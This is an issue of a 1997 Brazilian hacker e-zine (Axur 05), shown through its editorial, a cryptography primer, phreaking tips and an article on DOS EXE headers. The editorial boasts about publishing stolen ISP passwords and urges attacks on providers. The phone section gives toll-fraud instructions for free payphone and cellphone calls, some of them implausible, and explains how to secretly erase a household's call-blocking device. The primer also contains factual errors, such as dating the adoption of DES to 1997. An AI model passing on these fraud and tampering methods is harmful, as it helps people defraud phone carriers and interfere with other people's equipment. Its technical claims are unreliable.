-aa                                                         
	-a-a   -x   -x -u   -u  -r -rr      -000  -55555                 
	-a -a   -x -x  -u   -u  -r-r      -0    -0-5                      
	-a a-a    -x   -u   -u  -rr       -0    -0-5555                     
	-a   -a  -x -x -u   -u  -r        -0    -0    -5                
	-a    -a-x   -x -uuu uu -r          -000  -5555                       
								     
     -- = = [AXUR 05 - DARK SIDE HACKERS - BRAZIL] = = --
	     ~~~~ ~~ ~ ~~~~ ~~~~ ~~~~~~~   ~~~~~~
  




Axur 05 - revista mensal ( todos dia 01 na BBS mais prВўxima).
Pagina oficial: http:\\www.axur05.home.ml.org
Webmaster - VooDoo - voodoo@deathroom.com

Hackerland, 30 de Janeiro de 1997
Revista n§ - 1.00 


Sem mestres, sem lamahs, sem deuses... somente no's e nossas ma'quinas.
Pra salvar a honra dos Brasileiros! yO outside *fuck you* 


}-===============================[chain]===============================-{                        


           " Welche Verwirrung, ohn' alle Rettung."
                                               - PAPA


           " ... je ne peux contenir ma fureur."
                                               - PeeCee 386


     INDICE:

     1-) OFFERTORIUM
     2-) NEW CAST - O que vai ser de agora em diante?
     3-) INICIANDO ESTUDO DE CRIPTOGRAFIA DE DADOS
     4-) TECNICAS TELEFONICAS
     5-) ESTRUTURA DE EXEs
     6-) VULNERABILIDADE do test-cgi em alguns setups!
     7-) FINAL DA LISTA DE COMANDOS UNIX
     8-) BBS INESCRUPULOSAS
     9-) CODIGOS EMSi
    10-) MUDANDO SENHAS EM REDE NOVELL
    11-) ANARCHY
  11.2-) ANARCHY HUMOR
    12-) RASTREANDO PORTAS
    13-) PHF exploit...
    14-) VIRII - Mutacao Virotica Simples & Pesquisa de Diretorios    
    15-) WAReZ ZONe
    16-) HACKEANDO PROVEDORES NOVOS - Metodo Lamer
    17-) DETONANDO O CHAT DA UOL
    18-) DESAFIO DO MES - ;)
    19-) CARTAS
    **-) BONUX - Catador de senhas em maquinhas Sun


--=-- [ MeLHOR DESEMPENHO DE TEXTO Se VISTO COM O EDiTOR DO DOS ] --=--
}-===============================[chain]===============================-{




1-) OFFERTORIUM...
    ~~~~~~~~~~~~~~

E' pessoal, tudo comecou como uma  brincadeira, realmente nao esperavamos
uma aceitacao tao boa por parte da galera do nosso cyber-world. Pelo  que
sentimos  o primeiro numero... ou melhor, a edicao beta final da AXUR  05
repercutiu por todo mundo. Nao foi soh no Brasil nao, foi por tudo, nossa
ezine esta  sendo distribuida via FTP e via HTTP ate no Japao.
Nao sei se foi pelo nosso estilo de escrita, objetivo e claro ou pela co-
ragem  e  determinacao em phuder com os provedores,  mas recebemos soh na
primeira semana mais de 50 mails. Eram sysopz, curiosos e amigos querendo
ajudar, todos aqueles que de alguma forma se identificaram com nossa ide-
ologia colaboraram conosco de algum modo.
Bom, chega desse papo, eu pareco um viado escrevendo...
O que eu tenho pra dizer e' o seguinte, depois que  nos colocamos aquelas
senhas da kanopus e da netville no numero anterior  muito  neguinho ficou
na  nossa  cola. Todos bem loucos pra  phude com a nossa vida ( coisa que
nos estamos fazendo com a deles ) eu so  peco  uniao em todos os sentidos
da comunidade hacker do Brasil,  vamos nos unir, nao quero criar grupos e
sim pontos base de informacao  pesada pra quem realmente ta afim de estu-
dar  e  aprender de forma profunda tudo,  aqueles caras que devoram ate o
manual  do relogio CASIO tb sao bem vindos,  pq de agora em diante  nossa
ezine  vai pegar pra valer. Nao tenho nada contra o nosso amigo Merdeval,
aquele  que  escreve a revista Besouro Eletronico (  usei  nomes fantasia
para nao identifica-lo ) mas vc tb pode nos ajudar distribuindo nossa re-
vista em listas de discussoes e mandando pra todos que julgue capazes de
compreender o que esta escrito.
Vamos nos armar... com  nossos PeeCees  e tudo que precisarmos para mudar
a  historia  da computacao brasileira, chega de frescura ta na hora de a-
girmos e detonarmos.
Alguns "nice guys" acharam as nossas ideias meio radicais, putz, vamo pa-
ra de frescura,  quem nao gostou que nao leia. Bom errar e' humano, se ja
leu o primeiro e achou ruim, nao leia o segundo! ;)
Tenho  um  aviso tb para dar  a alguns ditos hackers de IRC, porra galera
vamo tomar consciencia, onde ja se viu, vamos tomar como exemplo o server
de  irc  da rede brasirc. Tem muito guri novo que  vai  no canal #hackers
e  escreve frases assustadores dizendo que vai  queimar meu modem... bah!
Que babaquice e' essa, ou mesmo operadores que soh querem saber de zkriptz
pra mirc e pirch como se derrubar um carinha do canal com flood fosse al-
go fora do comum. Ta na hora dessa galera se ligar, o nivel desse tipo de
canal em servidores de irc no BR ta muito baixo ou melhor ainda, eles nem
tem nivel.
Outro  detalhe  importante e' a questao dos programas que sao solicitados
constantemente  pela galera, olha ninguem aqui da revista vai passar pro-
grama nenhum para ninguem. Ao menos em caso de amigos muito antigos, ima-
ginem o saco que e' 50 carinhas por vez suplicando programas ou pensando
que vc esta no IRC ou mesmo que seu email funciona como suporte on-line.
Quem tb acha que so pq colocamos na primeira edicao da revista que temos
que  detonar os provedores brasileiro que cobram caro juntamente com  as
BBS que estao apurrinhadas  de  sysops incompetentes e estramente chatos
leve em consideracao o seguinte, nao ‚ so falar para nos assim, "Olha meu
provedor e' caro, me da uma senha de lah", o que nos teremos o maior pra-
zer vai ser ensinar vc a fazer isso por si mesmo sem depender de ninguem.
Isso foi mais uma especie de desabafo...espero que vcs gostem da revista
pois foi feita pensando especialmente na galera brasileira.
Agradecimento especial pra galera do canal #hackers da brasirc e braznet.
Sao tantos amigos que daria uns 30 Kbytes a mais se eu lista-se todos. ;)
Lembrete: IRCOPS PHEDEM - ircporcs - oinc, oinc, oinc, oinc, oinc

             AciDmuD
       Was soll ich sagen?
   - acidmud@thepentagon.com -


}-===============================[chain]===============================-{




2-) NEW CAST - O que vai ser de agora em diante?
    ~~~~~~~~ ~ ~ ~~~ ~~~ ~~~ ~~ ~~~~~ ~~ ~~~~~~~

De  agora  em diante nossa ezine vai contar com novos colaboradores  que
foram  convidados devido  ao alto conhecimento te'cnico para fazer parte
da nossa  equipe. Queremos por  meio  de conhecedores do assunto lhes en-
tregar uma revista com  a melhor qualidade  possivel, colocando em enfase
que o pessoal  que  escreve  ta  dando um duro danado pra detonar nas ma-
terias.
Nossa equipe por enquanto esta em: AciDmuD, VooDoo, csh, kS_5.
Participacao especial de Van Dyke, Worm-Root, XPiRiT e MnEuMoNiC .
XPiRiT  ia  escrever um artigo  mais desapareceu... ficou apenas um arti-
go pequeno sobre phreak.
Worm-Root escreveu duas materias, se a galera gostar ele continua.
MnEuMoNiC vai comecar a escrever sobre warez para a revista...nosso warez-
man. Soh  nao escreveu mais pq  entrou  no  grupo  muito no final do mes.
HaphazarD coitado ta se phudendo... 
Bom, cada um fala mais ou menos de uma coisa, mas isso  pode variar  muito
dependendo do que a galera esta afim de escrever.  Quem  quiser  colaborar
com algum artigo realmente interessante pode mandar  sem medo somos recep-
tivos.
Agora  sim  a ezine vai ser bem mais trabalhada, alguns dos textos  encon-
trados  podem  ter  sidos retirados  de  alguma revista ou de alguma  BBS,
quando isso ocorrer colocaremos  o  nome  do  autor e de onde foi  tirado.
Se  vc  tem uma home-page ou uma BBS e ta afim de colocar pode colocar, ta
liberado, esperamos  alcancar o maior numero de pessoas possiveis em menor
tempo, pois so causando  impacto  nossos  trabalhos vao ser lidos e podera
informar mais o pessoal.





}-===============================[chain]===============================-{




3-) INICIANDO ESTUDO DE CRIPTOGRAFIA DE DADOS
    ~~~~~~~~~ ~~~~~~ ~~ ~~~~~~~~~~~~ ~~ ~~~~~~


Se vamos detonar alguma coisa somos obrigados  a  conhecer intimamente as
estruturas de protecao de dados de estao envolvidas. Um dos topicos prin-
cipais que temos que ter completo dominio e' sem duvida nenhuma a cripto-
grafia de dados.
As redes hoje transportam cada vez mais informacoes vitais para organiza-
coes, empresas e ate mesmo para o governo, a criptografia esta hoje mais
dos que nunca ligada a seguranca de dados ja que a SEGURANCA esta se tor-
nando um problema critico.
Bom, o que ‚ CRIPTOGRAFIA?
Vem do grego, kriptos=escondido oculto + grafia, e' a arte ou ciencia de
escrever em cifra ou em codigos, seria entao um conjunto de tecnicas que
tornam uma mensagem incompreensivel permitindo apenas que o destinatario
que conhece a chave de encriptacao consiga desencriptar e ler a mensagem
com clareza.
Agora existem pessoas que por meios ilicitos podem ter acesso a mensagem
cifrada e determinar a chave de encriptacao, estes se chamam criptoanalis-
tas que nao fazem nada mais que a decomposicao da mensagem sem conhecer a
chave quebrando o sisteminha! ;)
A seguranca de um criptosistema nao pode estar baseada nos algoritimos de
codificacao e decodificacao, mas sim em um valor a chave. Este mecanismo
deve ser tao seguro que mesmo o autor de um algoritimo nao seja capaz de
decodificar a mensagem se nao possuir a chave. Podemos dizer entao que um
bom criptoanalista conhece todo o sistema com excessao das chaves que fo-
ram utilizadas. Esta ‚ conhecida como a premissa de "Kerckoffs".
Para um algoritimo ser  analizado do ponto de vista de robustez a ataques
sao assumidas as seguintes premissas:

-> o criptoanalista tem acesso a descricao completa do algoritimo

-> o criptoanalista tem  acesso a grande volumes de mensagens originais e
suas mensagens cifradas correspondentes.

-> o criptoanalista e' capaz de escolher quais mensagens serao cifradas e
receber as mensagens cifradas correspondentes.

Por sigilo da informacao  entende-se  que somente os usuarios autorizados
tenham acesso a informacao.

- - - - - - - - - -  -   -     -

Em um sistema criptografico tipico utiliza-se as operacoes de ciframento
e deciframento. O que ocorre na operacao de deciframento e'normalmente o
inverso da de ciframento. Podemos observar um sistema criptografico tipi-
co abaixo:

             CHAVE DE CIFRAMENTO          CHAVE DE DECIFRAMENTO
                      |                             |
                      |                             |
                ------------                  --------------
TEXTO ORIGINAL- |CIFRAMENTO| -----------------|DECIFRAMENTO|- TEXTO 
                ------------         |        --------------  ORIGINAL
                                     |
                                     |
                              CANAL INSEGURO DE
                                 COMUNICACAO



E' adotado em sistemas criptograficos para que estes permanecam seguros
mesmo quando os algoritimos  de ciframento e de deciframento  a tecnica
de utilizar chaves ao pares,  uma delas a chave de ciframento e outra a
de deciframento. Deve-se  possuir um grande conjunto de pares de chaves
para  que o espiao  nao as descubra, entretanto o  sigilo das chaves e'
uma peca crucial nestes sistemas.
Quando podemos deduzir uma mensagem usado a mesma chave tanto para o ci-
framento quanto para o deciframento toma-se a chave do sistema como  si-
metrica.  Caso estas chaves sejam diferentes, fala-se de um sistema  de
chaves assimetricas ou chave publica.

Bom, podemos definir 6 tipos gerais de ataques ( ou criptonalise ), lis-
tados em ordem crescente de efetividade. Supondo em todos eles que o cri-
ptoanalista possui conhecimento total sobre os metodos de cifragem e de-
cifragem utilizados, mas nao sobre as chaves.


->1<- ATAQUE DO TEXTO CIFRADO ( CYPHRTEXT-ONLY )
      Neste tipo de ataque, o  criptoanalista tem a sua disposicao  uma
      grande quantidade de mensagens cifradas, mas desconhece  as mensa-
      gens originais e as chaves utilizadas, tarefa ardua  n‚ :)... ele
      tera que recuperar as chaves utilizadas e deduzir as chaves utili-
      zadas.

->2<- ATAQUE DO TEXTO CONHECIDO ( KNOWN-PLAINTEXT )
      Вђ, ai o negocio fica mais facil, pq o criptoanalista tem a sua dis-
      posicao uma grande quantidade de mensagens cifradas e ainda por ci-
      ma  conhece tambem as mensagens originais equivalentes. Objetivo ‚
      deduzir as chaves utilizadas utlizando o caminho feito pelo siste-
      ma criptografico.

->3<- ATAQUE ADAPTATIVO DO TXT ESCOLHIDO ( ADAPTATIVE-CHOOSEN-PLAINTEXT )
      Este ataque se diferencia do anterior porque agora pode existir uma
      realimentacao entre a msg escolhida para cifragem e a proxima msg.
      Agora ele pode fornecer um pequeno conjunto, analisar os resultados
      fornecer outro conjunto e assim por diante. Este ataque e' bem mais
      efetivo, pois permite o teste de novas ideias e a sua posterior con-
      firmacao. Tarefa ‚ deduzir as chaves utilizadas ( ou metodo para re-
      cuperar mensagens cifradas com a mesma chave.

->4<- ATAQUE DO TEXTO CIFRADO ESCOLHIDO ( CHOOSEN-CIPHERTEXT )
      Esse metodo e' o melhor para deduzir as chaves usadas tendo a dispo-
      sicao uma grande quantidade de mensagens e seus equivalentes cifra-
      dos alem do que o criptoanalista pode produzir uma mensagem cifrada
      especifica para ser decifrada e obter o resultado produzido. Utili-
      za-se geralmente nesse ataque uma "caixa-preta" que faz a decifra-
      fragem automatica ;) i know bud...

->5<- ATAQUE DE CHAVE ESCOLHIDA ( CHOOSEN-KEY )
      Este nem e'considerado um ataque pois a chave ja e' conhecida, mas
      o criptoanalista pode testar o sistema com as diversas chaves dife-
      rentes, ou pode convencer diversos usuarios legitimos  do  sistema
      a utilizarem  determinadas chaves. Nesse ultimo caso, a finalidade
      e' poder decifrar as mensagens cifradas com estas chaves.


- - - - - - - - - -  -   -     -

Todos os sistemas possuem graus diferentes de seguranca, isso depende mui-
to da facilidade ou  dificuldade com que sao quebrados. So teremos um sis-
tema  condicionalmente  seguro quando ele for teoricamente inquebravel ou
seja, nao importa a quantidade de texto normal ou cifrado a disposicao do
analista, nunca se tem informacao suficiente para se quebrar as cifras ou
deduzir as chaves que foram usadas.
Existem alguns metodos de encriptacao realmente phodas de quebrar, levando
tempo,  alguns chegando  perto  do infinito. Sera que realmente as informa
caoes  que esperamos obter com a desencriptacao vale o custo e o tempo que
e' levado para resolver o mesmo?
Putz! Ja estao com projetos que em um futuro proximo os metodos criptogra-
ficos  serao tao fortes que mesmo computadores da ordem de Tera operacoes
por segundo  e  levariam alguns milhares de anos pra quebrar um texto bem
cifrado. :|

Vamos dar uma olhada bem rapida nos metodos da criptografia tradicional:



-USANDO CIFRAS DE SUBSTITUICAO-


No metodo cada caracter ( ou grupo de caracteres ) na mensagem e' substi-
tuido por outro na mensagem cifrada. Esta substituicao e' realizada para
tornar o texto cifrado o mais obscuro e incompreensivel. Para decifrar e'
feita a substituicao de modo inverso, restaurando-se assim o texto origi-
nal. Na maioria dos casos sao considerados apenas as 26 letras do alfabe-
to.
A substituicao polialfabetica ‚ muito melhor que a mono, mas pode ser que-
brada pelo mesmo metodo. Somente se descobrindo o tamanho da chave K e a-
nalisar um bloco de K caracteres do texto verificando a frequencia de re-
peticao dos caracteres.

Vem abaixo entao uma tabela demonstrando a substituicao monoalfabetica,
onde cara letra do alfabeto e' substituida por outra.

-------------------------------------------------------------------------

LETRA DO TEXTO        LETRA CIFRADA | LETRA DO TEXTO        LETRA CIFRADA
                                    |
      A ------------------- I       |       N ------------------- A
      B ------------------- S       |       O ------------------- G
      C ------------------- N       |       P ------------------- U
      D ------------------- L       |       Q ------------------- Y
      E ------------------- B       |       R ------------------- K
      F ------------------- Q       |       S ------------------- O 
      G ------------------- C       |       T ------------------- X
      H ------------------- R       |       U ------------------- J
      I ------------------- D       |       V ------------------- W
      J ------------------- T       |       W ------------------- H
      K ------------------- P       |       X ------------------- M
      L ------------------- E       |       Y ------------------- V
      M ------------------- Z       |       Z ------------------- F

-------------------------------------------------------------------------

Tah, vamos escrever uma frase: "Como estou aprendendo"
Cifrada por esta tabela a frase fica: "Ngzg boxgj iukbalbalg"
Com esta tabelinha podemos fazer 26!=4*10 na 26 chaves diferentes.
Testando uma tabela a cada microsegundo levariamos 10 na potencia de 13
anos pra tentar todas...
Dah pra quebrar facil este sistema usando a logica e ver que vogais se re-
petem mais que as consoantes e deduzindo valores.

Bom, ainda tem a substituicao monofonica, a substituicao polialfabetica
a substituicao por poligramos  ( aquela que substitui um grupo de carac-
teres tipo: ABA corresponde a RTQ... )


- = CIFRAS DE TRANSPOSICAO = -

Esse metodo e' bem original, pois o caracter original nao e' alterado,
mas sim sua posicao de acordo com alguma regra ou funcao que tambem po-
dem estar baseadas em alguma chave.


- = CODIGO E MAQUINHAS DE CIFRAGEM = -

Olha, esta parte nao e' tao importante nao, mas se vc realmente quer sa-
saber Neste metodo  os caracteres podem ser agrupados para serem cifrados
e conforme o tamanho do grupo aumenta comeca-se a falar de um codigo. A
principal diferenca entre uma cifra e um codigo e' que a primeira traba-
lha com grupos de comprimento fixo, enquanto o ultimo utiliza comprimento
variavelm normalmente manupulando as proprias palavras da frase. Cada pa-
lavra e' substituida por uma outra ( ou por simbolos ) de acordo com um
livro codigo.




- CRIPTOGRAFIA COMPUTACIONAL DE CHAVE UNICA -
  -----------------------------------------


Hoje em dia a criptografia tradicional ta cedendo lugar para a computa-
cional onde as operacoes sao implementadas por um computador ou por um
circuito especial.
O exemplo mais conhecido  de cifrador computacional de chave unica e' o
DES ( Data Encryption Standard ) originalmente desenvolvido pela IBM e
adotado como padrao nos EUA em 1997. O DES cifra blocos de 64 bits que
correspondem a 8 caracteres usando um chave de 56 bits mais 8 bits de pa-
ridade ( o que soma 64 bits ).
O que ocorre e' que o algoritimo inicia uma transposicao sobre os 64 bits
da mensagem, seguida de 16 passos de cifragem e conclui realizando uma
transposicao final, que e' inversa da transposicao inicial. As transposi-
coes sao independentes da chave. Vao ser utlizados entao 16 passos de ci-
fragem  com as 16 sub-chaves todas originadas da chave original atraves
de deslocamento e transposicoes. Cada passo vai dividir o bloco em duas
metades de 32 bits ( L e R ) e realiza transposicoes, substituicoes, ex-
pancoes ( duplicamentos ) de bits e reducao ( eliminacao ) de bits, alem
de utilizar operacoes logicas do tipo ou exclusivo.
Essa porra do DEs exerce uma cifragem com dois objetivos: difusao e con-
fusao. Difunde eliminando a redundancia da mensagem original e confunde
tornando a chave tao complexa quanto pode. Tipo, mudando as caracteristi-
cas da mensagem original!
Quando aparecer  e foi aprovado o DES foi alvo d muita critica e debate.
O projeto original da IBM previa a utilizacao de 128 bits mas a NSA ( Na-
tional Security Agency ) o reduziu pra 64 sem explicacoes... coisas dos
malucos do governo americano.
O DES pode ser quebrado ( como nao ;) ) mas pelo metodo de forca bruta
tentando-se todas as combinacoes possiveis de chaves. Tendo a chave de 56
bits tem-se um total de 2 elevado a 56 potencia de chaves possiveis.
O que sabemos e' que existem diversos metodos de cifragem de blocos de
chave unica que foram proposto, tem alguns exemplos ai:


      Triple-DES ( o DES aplicado tres vezes, com sequencia de cifragem e
                   decifragem combinando a utilizacao de duas chaves).
      Lucifer    ( percursor do DES ).
      Madryga    ( trabalha com 8 bits, utilizando ou-exclusivo e desloca-
                   mento de bits ).
      NewDES     ( blocos de 64 bits e chave de 120 bits )
      FEAL-N     ( baseado no DES, pode-se especificar o numero de passos
                   de cifragem, fraco se utiliza-se em menos de 8 passos ).
 REDOC II e III  ( realizam operacoes sobre bytes ).
      LOKI       ( bloco  e chave de 64 bits ).
 Khufu e Khafre  ( parace nome de japones lutador de carate, mas ele traba-
                   lha de forma semelhante ao DES, usam tabelas de substitu-
                   icao de 256 posicoes de 32 bits - contra as de 6 posicoes
                   de 4 bits do DES - usam chaves de 512 bits e um numero de
                   passos flexiveis, multiplo de 8 ).
      IDEA       ( blocos de 64 bits com chave de 128 bits ).
      MMB        ( blocos e chave de 128 bits ).
      Skipjack   ( chave de 80 bits e 32 passos de processamento ).


O que eu posso falar de Cifragem de Blocos? Bom, vamos falar o que vcs pre-
cisam saber.

- Modo do Livro de Codigos ( ELETRONIC CODE BOOK - ECB )-

Metodo onde a vantagem e' a simplicidade, cada bloco de mensagem original
e' individual e independendente cifrado para produzir os blocos da mensa-
gem cifrada. O bloco tipico tem 64 bits, o que produz um livro de codigos
de 2 na 64 potencias de entradas ( Obs. Quando digo 2 na potencia 2 e' o
mesmo que 2 x 2 que e' igual a 4 ;) )  com essas caracteristicas ele se
torna complexo o suficiente para phuder com o criptoanalista.
E bem util pra bancos de dados, pois os blocos sao idependentes e no caso
da necessidade de modificar  pode se decifrar apenas o bloco onde ele es-
ta localizado.

- Modo de Encadeamento de Blocos ( CIPHER BLOCK CHAINING - CBC )

Pra evitar problemas do ECB, o CBC realimenta a cifragem do bloco atual
com o resultado das cifragens dos blocos anteriores. Operacao mais utili-
zada e' o ou-exclusivo com o bloco anterior dessa forma os blocos iguais
serao normalmente cifrados de forma diferente, desde que no minimo um dos
blocos anteriores seja diferente na mensagem.

- Modo de Realimentacao de Cifra ( CIPHER FEEDBACK - CFB )

Quando ha necessidade de enviar-se mensagem que possuem tamanho menor que
um bloco utiliza-se o metodo CFB que trabalha com grupos ( 8 bits por ex-
emplo - 1 caracter ), neste caso a realimentacao e' feita sobre o grupo,
utilizando-se tambem o ou-exclusivo.

- Modo de Encadeamento de Blocos ( BLOCK CHAINING )

Neste modo, a entrada do cifrador e' operada com um ou-exclusivo de todos
os blocos anteriormente cifrados.

- Modo de Encadeamento Propagado (PROPAGATING CIPHER BLOCK CHAINING-PCBC)

A entrada do cifrador e' operada com ou-exclusivo os blocos normais e ci-
frados anteriores


o)  o)    o)     o)     o)


E pessoal, espero que com esses conhecimentos novos vcs possam abrir suas
mentes, fazer programas mais eficientes na parte de encriptacao e desen-
criptacao e o mesmo entender seus mecanismos. O que eu coloquei acima e'
o basico do basico, sei que e'meio chato ficar lendo uma porrada de coisa
mais ve se larga de ser viadinho se quer chegar a algum lugar.
Eu demorei pra escrever essa porra, tomara que fique do seu entendimento.
Quem quiser mandar um mail para se comunicar ou tirar alguma duvida olha
no rodape' da materia o meu email.
Mais um producao de AciDmuD, in -d- miracle world! ;)

=+=
Inciando estudo da criptografia.........
AciDmuD - 1997(c) Global Domination Inc. 
 - acidmud@thepentagon.com -




}-===============================[chain]===============================-{                        




4-) TECNICAS TELEFONICAS
    ~~~~~~~~ ~~~~~~~~~~~

Ligando de telefone publico sem pagar! - by XPiRiT
- - - - - - - - - - - - - - - - - - -

Este metodo so funciona em telefones antigos! Aqueles na base da fichinha
ou da moedinha ( se estiver nos Eua, usa o Rex Box ).

Por exemplo:

O numero que vc quer ligar e' 823-26-47 ( numero ficticio )

Primeiro vc deve dimunuir de 10 todos os numeros que compoem o telefone
a se ser discado, no caso esse telefone ficaria.

Numero a ser discado:  823-26-47

         ORIGINAL_______
                        |
                       (8-10)=2
                       (2-10)=8
                       (3-10)=7
                       (2-10)=8
                       (6-10)=4
                       (4-10)=6
                       (7-10)=3
                              |_______ NOVO NUMERO


O novo numero sera:   287-84-63

O que vc vai ter que fazer e' bater no bocal do telefone o numero de ve-
zes correspondente a subtracao.

Bata 2 vezes no bocal ( intervalo de 2 segundos )
Bata 8 vezes no bocal ( intervalo de 2 segundos )
Bata 7 vezes no bocal ( intervalo de 2 segundos )
Bata 8 vezes no bocal ( intervalo de 2 segundos )
Bata 4 vezes no bocal ( intervalo de 2 segundos )
Bata 6 vezes no bocal ( intervalo de 2 segundos )
Bata 3 vezes no bocal ( intervalo de 2 segundos )

Desta maneira vc podera fazer ligacoes gratuitamente...
Quando estiver agil podera ligar mais rapido, ai fica facil!



Ligando de telefone celular sem pagar - by AciDmuD
- - - - - - - - - - - - - - - - - - -

Bom, esse metodo foi observado por mim e foi confirmado por muitos
amigos.
De inicio pode parecer falso mas funciona sim pelo menos no estado do
Rio Grande do Sul e em Santa Catarina onde foi feito os testes.
E' o seguinte:

Voce tem que ligar para um numero normal, vamos pegar o exemplo de um
numero de celular.

Ex: 928-13-47

Olha, nem sei se este numero existe e se existe nao conheco o dono do
numero, nao vao ligar pra ele e pedir informacoes! ;))
Entao devemos pegar o ultimo numero do telefone a ser discado, no caso
o 7... subtraimos ele de 10, o que vai resultar o  numero 3.
Somente vamos acrescentar o numero 3 ao final do numero discado.
O resultado vai ficar:

Numero ligado sem pagar: 928-13-47-3

Heheheheh! Itz so eazy
Nao teste isso como um louco, faca um ou duas ligacoes que realmente
sejam significantes no valor e espera a conta telefonica.
Obs. Nao conte isso pra ninguem! heheheheh ;)



Phucking block line - by AciDmuD & VooDoo
- - - - - - - - - - 

Essa tecnica e' meio forcada, mas funciona.
Nosso alvo sao aqueles aparelho que bloqueiam chamadas telefonicas o
tao temido BLOCK LINE.
Bem isso e'soh uma parte pq ja estamos imaginando uma materia futura so-
bre o sistema mas o englobando de forma muito melhor e falando mais dos
detalhes tecnicos. Por enquanto espero isso quebre o galho...
Primeira coisa que vcs devem fazer e' descobrir se o problema e' realmen-
te o BLOCK LINE e se a linha nao foi bloqueada na companhia telefonica.
Antes de tudo olhe se a senha padrao que e' 222 nao foi mudada.
Agora procuro o telefone principal da casa, aquele que quando desligado
desliga a todos da casa.
Acho? Beleza, abra ele com uma chave de fenda e procure uma caixinha pre-
ta escrita block line.
Abra agora tb o block line, com cuidado pra nao quebrar. Apos ter feito
isso tire a pelicula que cobre a placa do aparelho block line e exponha
o circuito a luz fluorescente ( raios ultra-violeta). Pronto, vc apagou
todas informacoes da placa...
Agora e' claro que os pessoas nem vao desconfiar qual o problema ;)


Be happy! Phuck and phreak ;)    


}-===============================[chain]===============================-{




5-) ESTRUTURA DE EXEs
    ~~~~~~~~~ ~~ ~~~~


Esse texto foi escrito inicialmente em marco de 1995,
alterado agora por csh para atender as necessidades da ezine.

Se voce nao esta' interessado na teoria e queira somente o programa
EXEload, procure-o nas melhores BBS do ramo. :))

Ou simplesmente compile os fontes!! (ohh!!)

Sentindo a falta de um bom material nessa area, resolvi escrever uma ma-
teria, falando sobre os EXEcutaveis, abrangendo principalmente a uma i-
deia de protecao quanto ao seu programa.

        Vamos partir da seguinte hipotese:

            1) voce faz um programa seja la em que linguagem for, e
               aplica um PKLITE(tm), tendo em vista a compactacao e
               a protecao quanto ao chamado "crack" ao mesmo.

            2) hoje em dia, existem programas como o StickBuster, dislite,
               etc.. que retiram a protec"o do PKLITE e reescrevem o pro-
               grama originamente deixando perfeito para a acao dos
               "crackers"(ou "crackeadores" como queiram chama-los :) ).

               Ex.: Suponha que vc faca um programa bem simples como o su-
                    gerido abaixo:

	  -------8<------8<-- EXEMP-001.PAS --8<------8<-----
  begin
       WriteLn( 'csh kick''ass!!');
       halt;
  end.
	  -------8<------8<-- EXEMP-001.PAS --8<------8<-----

            Se voce usar um programa do tipo Norton DiskEditor(tm), vc
            vai perceber a existencia EXATA da string "csh kick''ass!!" 
            sendo assim, apenas a ma-vontade de mudar a string para "I 
            was here" ou algo do genero...



        Bom, chegando de hipoteses vamos ao que interessa, afinal, isto
        e' a area de programacao, nao '?

        Para quem nao conhece a estrutura de um arquivo .EXE, la vai uma
        rapida explicacao:

           Um arquivo .EXE possui um header, uma tabela de relocacao e
           o EXE propriamente dito ( isso parece colegio!!)..

           O realmente e' mais complexo e' o header, entao....

	      WORD	ID		; Id de EXE.. normalmente MZ mas
					; pode conter ZM
              WORD      bytemod         ; carrega modulo do tamanho
					; imagem mod 512
	      WORD	pages		; tamanho do arquivo (incluindo
					; header) div 512
              WORD      reloc_items     ; Numero de itens da tabela de
                                        ; relocacao
	      WORD	size		; Tamanho do header em
					; paragrafos de 16 bytes
	      WORD	minpara 	; Numero min de paragrafos sobre
					; prog.
	      WORD	maxpara 	; Numero max de paragrafos sobre
					; prog.
              WORD      SSREG           ; Conteudo para o registro
					; SS(stack segment)
              WORD      SPREG           ; Conteudo para o registro
					; SP(stack pointer)
	      WORD	CHKSUM		; Checksum (SEM USO HOJE EM DIA)
	      WORD	IPREG		; ConteЕ“do para o registro
					; IP
              WORD      CSREG           ; Conteudo para o registro
					; CS(code segment)
              WORD      RELOCOFF        ; off-set da tabela de relocacao
              WORD      OVERLAY         ; ate hoje nao descobri a
					; utilidade disso!!

           A  tabela de relocacao  e'  muito facil, sao ponteiros que
           indicam uma posicao de memoria que devem ser incrementados
           de acordo com o PSP(program segment prefix)


        Com base dessas informacaes, fica a pergunta: "Mas como vamos
	fazer para proteger nossos programas?". A reposta pode ser dada
        de varias maneiras. A minha opiniao ' de nao fazer magica mas sim
	se previr desse programas alГї DISLITE..

        Suponha que temos akele exemplo la em cima(EXEMP-001.PAS).
        Apliquemos . ele o famoso LZEXE. Todos os dados estao perfeita-
        mente criptografados. Mas tem um por'm.... Os programinhas que
        tiram as compactacaes vao funcionar nele, ai entra o meu racio-
        cinio: VAMOS APLICAR A ESSE .EXE, UM LOADER!!!

        Ohhh!! um loader, mas para que, e como, um loader?!?
	E' muito simples. Faremos um .COM "hibrido" para atuar como um
        .EXE. E' mais ou menos assim que atuam programas do tipo EXEPACK,
        LZEXE, PKLITE, etc, etc etc....

        Podemos ate', e por que nao, fazer uma rotina de compactacao
        simples para o header do executavel.

        Vamos ao algoritimo de compressao do header...
        O que vamos comprimir de fato, e' a tabela de relocacao. Veja
	abaixo.

        Esta e' a tabela de relocacao do exemplo acima SE NADA FOI
	ALTERADO!! :))

	0000:001D \
	0000:0027   \
        0000:0038   | Vc pode observar a repeticacao de segmentos,
	0000:003D   | constatando:
	0000:0042   |
	0000:0049   |	7 x 0000
	0000:0051   |	7 x 0006
	0006:0001   |
	0006:011B   |
	0006:0310   |
	0006:06D1   |
	0006:06EC   |
	0006:0702   /
	0006:0721 /

        Vamos montar uma tabela na memoria diferente dessa, partindo do
        principio  que o segmento ' 0000 entao, o algoritmo de compacta
        cao:

               A = 0  ; sao inicializados A,P com zero...
               P = 0  ; para um buffer onde conterГї o conteudo compacto

                 repetir EXEheader.reloc_items vezes
               R = relocacao ; as relocacaes sao SEMPRE sequenciais..

		  SEGMENTO de R diferente de A ? (
			    A = SEGMENTO de R
			    P-> FFFF
			    P++
			    P-> A
			    P++
			    )
		  P-> OFFSET de R
		  P++
		  fim do repetir
	  P-> FFFF
	  P++
	  P-> FFFF

        Espero ter sido o mais claro e generico possivel... :))

	Se aplicassemos esse algoritimo na tabela de nosso cobaia, seria
	gerada essa tabela:

	001D 0027 0038 003D 0042 0049 0051 FFFF
	0006 0001 011B 0310 06D1 06EC 0702 0721
	FFFF FFFF

        Pensando nesse aspecto, ganhariamos 20 bytes no header. (ohhhh!!).

	OBS:
       "Quero dizer que esse metodo nao e' o mais eficiente em termos de
        compactacao  mas onde queremos aplica-lo nao ha necessidade  nem
        interesse  em apresentar um algoritimo mais complexo."

        Ja temos a rotina de compactacao... e a descompactacao?
        ...Essa e' sem duvida a parte MAIS facil desse processo.

        Veja o algoritmo ja no programa LOADER.ASM

